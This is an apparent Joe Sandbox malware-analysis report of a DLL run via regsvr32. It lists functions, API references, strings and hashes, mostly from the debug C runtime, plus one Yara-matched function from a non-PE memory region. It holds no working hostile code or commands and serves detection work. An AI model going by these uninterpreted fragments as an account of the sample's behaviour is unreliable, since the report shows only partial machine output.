API ID: CriticalDeleteDestroyFreeHeapSection_ioterm_mtdeletelocks
String ID:
API String ID: 1508997487-0
Opcode ID: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction ID: 18d5f63124407e78997e2f664e67049843f9c9ac3d7a6681d0ffcba3130af5de
Opcode Fuzzy Hash: bdb7225874b5496ab185c850c138daf46d614203cfe4a73cb1b8596e23d721ba
Instruction Fuzzy Hash: 50E06760E0C1439AF6D567B46C423BD91D06B54BC1FB245B2A1CE862F3EA5FB8014662

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D288D0 Relevance: 1.5, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNELBASE ref: 000007FEF9D288DB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction ID: df5636f5ee55eb5a1123ad47329e94e2a1af4504a4e9b44811c9c5941fd1bffd
Opcode Fuzzy Hash: f7b981f9b1b51933cf7e1d9a1baddea90378982ce7575ce50583c327d4fc7a8e
Instruction Fuzzy Hash: 6CC04C64D15A01C1EA445726FC8536822A06394745FA0C021C5CD012308B2F55968701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23D00 Relevance: 1.5, APIs: 1, Instructions: 5COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction ID: 5c830059afc01ab3dffeb0f702370a5898bb96dd38ab511ff450623a486f5942
Opcode Fuzzy Hash: 486166b47cec33101184f167bfa082c8d21519f5c79393c344b51e77eb7d9bd4
Instruction Fuzzy Hash: F1A00224F16591D7DAAC373A5D9713D11A06B68709FF05869C74F40261CE2F92FE8B05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF9D30215 Relevance: 89.7, APIs: 29, Strings: 22, Instructions: 441COMMON

Download Yara Rule

APIs

_itow_s.LIBCMTD ref: 000007FEF9D3024C
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30279
OutputDebugStringW.KERNEL32 ref: 000007FEF9D30285
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302BF
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302CC
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302DA
OutputDebugStringW.KERNEL32 ref: 000007FEF9D302E7
_wcsftime_l.LIBCMTD ref: 000007FEF9D30352
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D303AA
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30408
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30484
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D304CB
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D30538
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D3057E
_snwprintf_s.LIBCMTD ref: 000007FEF9D305F5
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D3064D
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D306AB
_invoke_watson_if_oneof.LIBCMTD ref: 000007FEF9D30764
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D307B8
_unlock.LIBCMTD ref: 000007FEF9D30900

Strings

wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
Assertion failed!, xrefs: 000007FEF9D30433
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
<file unknown>, xrefs: 000007FEF9D302A8
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A
Assertion failed: , xrefs: 000007FEF9D30422
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C
P, xrefs: 000007FEF9D30AC6
%s(%d) : %s, xrefs: 000007FEF9D305DB
, Line , xrefs: 000007FEF9D302C5
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 91caf2df9a40c10ca931429e5e540051a4e8143577a7dc19426bf0d901356392
Instruction ID: 4be8715b722ea95f30444376ecaecfb3c385eb747484933fb25f7726159d970d
Opcode Fuzzy Hash: 91caf2df9a40c10ca931429e5e540051a4e8143577a7dc19426bf0d901356392
Instruction Fuzzy Hash: 5C422C31A0CA8691E7B0CB14E8547EE73E4F784345FA08226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

GetProcessWindowStation, xrefs: 000007FEF9D30DF3
GetActiveWindow, xrefs: 000007FEF9D30D7C
MessageBoxA, xrefs: 000007FEF9D30D44
GetUserObjectInformationA, xrefs: 000007FEF9D30DC0
GetLastActivePopup, xrefs: 000007FEF9D30D9E
USER32.DLL, xrefs: 000007FEF9D30D23

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 4136024d25ab454011a9418e3e33b4ea31b56a31dc25d7fc48a91c666a4aba5f
Instruction ID: 2fdcab7defb259cab3e0ae5c8194edaf0e6743a208e28eb4b7718d98c4970bd2
Opcode Fuzzy Hash: 4136024d25ab454011a9418e3e33b4ea31b56a31dc25d7fc48a91c666a4aba5f
Instruction Fuzzy Hash: F581C531A09B8686E7A09B19FC4436EB3E0F784795F608135DACE42678DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
Client hook re-allocation failure., xrefs: 000007FEF9D24C25
_CrtCheckMemory(), xrefs: 000007FEF9D24B23
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: caf568ba67e02e981cee0a62def33bb5426de77b0166e0249518d1aed8fc28ed
Instruction ID: 672275d76b56a31b76a57beb3bef09bdc1cc68057209de26ab42cab730db0c01
Opcode Fuzzy Hash: caf568ba67e02e981cee0a62def33bb5426de77b0166e0249518d1aed8fc28ed
Instruction Fuzzy Hash: 27421F31A0DB8585EBA08B69E88076EB7E0F785790F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
Client hook free failure., xrefs: 000007FEF9D254A0
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 5020832333ec35d85279f4adfeb03ce22c38d55cbbbf155ecd90f9052befc044
Instruction ID: a89e9ee482389454aa7ea2a98c74fcfc2c6f72e51cab5ee636fbf14708ed73c9
Opcode Fuzzy Hash: 5020832333ec35d85279f4adfeb03ce22c38d55cbbbf155ecd90f9052befc044
Instruction Fuzzy Hash: 51C17D36A18B4586EBA48B59E88076EB7E0F785790F614536EBCD43BB4DB7ED440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
_1, xrefs: 000007FEF9D261FC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
DAMAGED, xrefs: 000007FEF9D25E7D
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: ecaeb8f0e9f50f2af9e26624824c00194ce636c943c5c9e443a2ba6a1604b1b7
Instruction ID: e4bd894b2b1f7b9ef1ad6a2df7423bb6029b32d077619e3c403e9c7133be1b2d
Opcode Fuzzy Hash: ecaeb8f0e9f50f2af9e26624824c00194ce636c943c5c9e443a2ba6a1604b1b7
Instruction Fuzzy Hash: EDE14F36A1CB5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6ec74913a662
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: b9a945e82b5db3173e30537439e0c8a0a2586c91a17b1594fbe54d080f64dea2
Instruction ID: 1cff5b4ce0ef1e4e3ef6199276dfa804718153c0ec8d85c09348b02a89a91835
Opcode Fuzzy Hash: b9a945e82b5db3173e30537439e0c8a0a2586c91a17b1594fbe54d080f64dea2
Instruction Fuzzy Hash: 0F31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019AF0 Relevance: 10.7, Strings: 8, Instructions: 710COMMON

Download Yara Rule

Strings

XW], xrefs: 000000018001A6F4
!f3, xrefs: 000000018001AA9A
/w 8, xrefs: 0000000180019ED2
KE, xrefs: 000000018001AA16
ehl, xrefs: 000000018001A6A1
~V, xrefs: 000000018001A549
CZ&B, xrefs: 000000018001A208
{H, xrefs: 000000018001A171

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !f3$/w 8$CZ&B$KE$XW]${H$~V$ehl
API String ID: 0-603092622
Opcode ID: 1ed8f1f3fe5d83a620da9bed02dcbbab86e8a919e24c18f8a00020719e4cb4ac
Instruction ID: cfa183faa2580dac9c87674e45a13d453ed6874265d0529349a04ca9f57a85af
Opcode Fuzzy Hash: 1ed8f1f3fe5d83a620da9bed02dcbbab86e8a919e24c18f8a00020719e4cb4ac
Instruction Fuzzy Hash: 079206752047888BDBB8CF24D8897CE7BE1FB86354F10451DE94E8AA60DBB89744CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6
Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
_CrtCheckMemory(), xrefs: 000007FEF9D24455
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
Client hook allocation failure., xrefs: 000007FEF9D24554

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 20c9d93c7bd8e5bb28edf4ede7e61cb74df2466a6d8b2339d4d317b1b63016a2
Instruction ID: 043f5a1d32994ed4de3068b5f716ee40183123659e8364044ce03f87ba7bfcf6
Opcode Fuzzy Hash: 20c9d93c7bd8e5bb28edf4ede7e61cb74df2466a6d8b2339d4d317b1b63016a2
